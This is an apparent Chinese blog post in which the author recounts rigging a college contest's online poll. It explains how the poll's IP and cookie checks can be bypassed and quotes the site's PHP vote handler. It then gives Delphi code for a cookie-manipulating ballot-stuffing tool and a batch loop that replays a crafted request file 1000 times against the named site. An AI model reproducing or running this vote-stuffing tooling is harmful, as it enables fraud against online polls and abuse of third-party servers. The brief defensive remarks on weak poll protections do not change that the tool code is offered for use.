前一段时间我们学院搞了一个网页设计大赛,每个班必须参赛。后期进行了网络投票的方式,而该投票系统存在了具大的漏洞,从而被我利用,把我们班网站的票数刷到了最高,
可以毫不夸张地说,我想刷到多少就可以刷到多少,速度的话,如果只开一个线程,一分钟可以刷上千次吧,我也没有具体去看数目,反正非常快。
后来我向相关人员说了这个事情,说了这个事情是我干的。他们知道了后也把我们的票砍了一大截。
其实网络投票的限制无非就是IP、COOKIES、时间这几方面来限制。其实这些限制要适当地使用,不然,反而会让别人专了空子。
第一种情况是:投票系统自动记录下我们的IP地址,存入数据库,并且规定该IP地址多少时间内不准投票。如果我们马上再次投票,投票系统会将我们这次投票时使用的IP地址与其数据库中的IP地址进行比对,如果存在,则投票不成功。
第二种情况是:我们投的第一票成功后,投票系统会将投票成功的信息保存在本地的Cookies文件中,并且在Cookies中注明投票成功的时间,同时在程序中规定多少时间内不准再次投票。如果我们马上再次投票,程序会读取保存在Cookies信息中的投票成功时间,并与服务器中的时间比对,如果符合拒绝条件,则投票不成功。
总的来说,网络投票程序的防刷系统采用的原理就是IP验证和Cookies验证,当然还有采用诸如身份验证等其他验证方式的网络投票系统,不过目前网络上90%的网络投票系统都是采用前者的验证方式。而前者的验证安全性是很低的,通过一些工具就可以轻松突破这些验证,实现连续投票。
至于IP,ADSL用户本身就拥有变化着的IP,很好突破。
至于COOKIES,删掉或者手动修改就可以了,当然,写一个相应的程序会使效率高多了。
下面是判断是否合法的PHP代码:
if(mysql_query($str)) { $into_ip="insert into wlm_ip set ntime=’".$htime."’,ip=’".$ip."’"; mysql_query($into_ip); echo "<script language=javascript>alert(‘投票成功!’);</script>"; echo "<script language=javascript> window.location.href=’http://www.******.edu.cn/tuanwei’;</script>"; } else { echo "<script language=javascript>alert(‘投票失败!’);</script>"; echo "<script language=javascript> window.location.href=’./renqi.php’;</script>"; }
我自己写了两个工具来帮我刷票。
第一个,速度较慢,适合普通用户使用。
第二个,较快(每分钟自动刷上千次),当然是我的最爱啊。
相关代码记录:
procedure TForm1.Timer1Timer(Sender: TObject); var SList: TStrings; i: integer; begin Doc := WebBrowser1.Document as IHTMLDocument2; if edit2.Text = '' then Exit; SList := TStringList.Create; Slist.CommaText := edit2.Text; for i := 0 to SList.Count - 1 do Doc.cookie := SList.Strings[i]; SList.Free; end; procedure TForm1.WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool); begin NewWindow :=TForm1.Create(self); NewWindow.Show; ppDisp :=NewWindow.Webbrowser1.DefaultDispatch; end; procedure TForm1.WebBrowser1DownloadComplete(Sender: TObject); begin if not Webbrowser1.Busy then {浏览器已不在工作时读取浏览器中的Cookies} begin Doc := WebBrowser1.Document as IHTMLDocument2; if edit2.Enabled =True then edit2.Text := Doc.cookie; end; StatusBar1.Panels.Items[1].Text :=''; if times<>0 then times:=times-1 else button2.Click; end;
FOR /L %%i IN (1,1,1000) DO Fuck www.******.edu.cn 80 < FuckIP.txt